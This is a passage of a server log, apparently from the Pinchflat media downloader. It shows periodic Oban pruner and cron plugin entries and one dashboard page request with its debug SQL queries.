{"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.123 [info] {"source":"oban","duration":4526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:24.276 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:54.278 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.128 [info] {"source":"oban","duration":3704,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:24.280 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:54.282 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.131 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:24.285 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:54.286 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.139 [info] {"source":"oban","duration":6748,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:24.289 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:54.291 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.144 [info] {"source":"oban","duration":4501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:24.294 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:54.299 [info] {"source":"oban","duration":4273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.150 [info] {"source":"oban","duration":2233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:24.302 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:54.304 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.158 [info] {"source":"oban","duration":2635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:24.306 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:54.309 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.161 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:24.311 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:54.314 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.167 [info] {"source":"oban","duration":5343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:24.316 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:54.318 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.171 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:24.320 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:54.326 [info] {"source":"oban","duration":5115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.173 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:24.328 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:54.333 [info] {"source":"oban","duration":4332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.174 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:24.335 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:54.337 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.180 [info] {"source":"oban","duration":5533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:24.339 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:54.341 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.196 [info] {"source":"oban","duration":13584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:24.343 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:54.345 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.198 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:24.347 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:54.349 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.203 [info] {"source":"oban","duration":4243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:24.352 [info] {"source":"oban","duration":2632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:54.354 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.208 [info] {"source":"oban","duration":4054,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:24.356 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:54.358 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.216 [info] {"source":"oban","duration":6624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:24.360 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:54.363 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.226 [info] {"source":"oban","duration":9214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:24.366 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:54.369 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.229 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:24.373 [info] {"source":"oban","duration":3379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:54.375 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.234 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:24.377 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:54.380 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.239 [info] {"source":"oban","duration":2438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:24.382 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:54.385 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.244 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:24.387 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:54.389 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.249 [info] {"source":"oban","duration":3765,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:24.399 [info] {"source":"oban","duration":9325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:54.401 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.254 [info] {"source":"oban","duration":4009,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:24.403 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:54.405 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.258 [info] {"source":"oban","duration":3296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:24.407 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:54.409 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.260 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:24.414 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:54.424 [info] {"source":"oban","duration":9490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.263 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:24.428 [info] {"source":"oban","duration":3121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:54.431 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.269 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:24.433 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:54.437 [info] {"source":"oban","duration":3481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.271 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:24.439 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:54.441 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.278 [info] {"source":"oban","duration":6548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:24.443 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:54.445 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.287 [info] {"source":"oban","duration":2674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:24.447 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:54.449 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.291 [info] {"source":"oban","duration":2837,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:24.451 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:54.453 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.297 [info] {"source":"oban","duration":5221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:24.455 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:54.457 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.300 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:24.472 [info] {"source":"oban","duration":13605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:54.473 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.308 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:24.479 [info] {"source":"oban","duration":5485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:54.481 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.314 [info] {"source":"oban","duration":5344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:24.483 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:54.485 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.316 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:24.487 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:54.494 [info] {"source":"oban","duration":5690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.318 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:24.498 [info] {"source":"oban","duration":2362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:54.500 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.323 [info] {"source":"oban","duration":3947,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:24.502 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:54.504 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.328 [info] {"source":"oban","duration":3701,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:24.506 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:54.508 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.330 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:24.510 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:54.512 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.334 [info] {"source":"oban","duration":2891,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:24.515 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:54.520 [info] {"source":"oban","duration":4658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.340 [info] {"source":"oban","duration":4449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:24.521 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:54.523 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.347 [info] {"source":"oban","duration":4986,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:24.525 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:54.533 [info] {"source":"oban","duration":6681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.351 [info] {"source":"oban","duration":2752,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:24.535 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:54.538 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.355 [info] {"source":"oban","duration":2561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:24.540 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:54.542 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.359 [info] {"source":"oban","duration":2865,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:24.569 [info] {"source":"oban","duration":23138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:54.571 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.365 [info] {"source":"oban","duration":4424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:24.574 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:51.724 [info] GET / 02:27:51.728 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:27:51.760 [debug] QUERY OK source="settings" db=20.0ms queue=0.1ms idle=1593.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:51.783 [debug] QUERY OK source="media_profiles" db=14.0ms queue=0.1ms idle=1627.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:27:51.794 [debug] QUERY OK source="sources" db=9.2ms queue=1.5ms idle=1642.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:27:52.095 [debug] QUERY OK source="media_items" db=300.4ms queue=0.1ms idle=1626.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:27:52.142 [debug] QUERY OK source="media_items" db=46.4ms idle=925.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:27:52.161 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=404.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:52.162 [debug] QUERY OK source="settings" db=0.6ms idle=378.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:52.173 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=377.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:27:52.202 [debug] QUERY OK source="tasks" db=0.3ms idle=59.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:27:52.224 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=61.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:27:52.239 [debug] QUERY OK source="media_items" db=13.8ms idle=62.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:27:52.244 [debug] QUERY OK source="sources" db=0.5ms idle=70.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 02:27:52.257 [debug] QUERY OK source="media_items" db=1.3ms idle=74.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:27:52.267 [debug] QUERY OK source="media_items" db=9.4ms idle=55.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:27:52.276 [info] Sent 200 in 553ms 02:27:54.576 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.367 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:24.578 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:54.582 [info] {"source":"oban","duration":3279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.369 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:24.584 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:54.586 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.371 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:24.588 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:54.590 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.378 [info] {"source":"oban","duration":6377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:24.597 [info] {"source":"oban","duration":6144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:54.599 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.389 [info] {"source":"oban","duration":9760,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:24.605 [info] {"source":"oban","duration":4281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:54.606 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.397 [info] {"source":"oban","duration":7159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:24.608 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:54.610 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.401 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:24.612 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:54.614 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.406 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:24.616 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:54.617 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.416 [info] {"source":"oban","duration":7325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:24.619 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:54.621 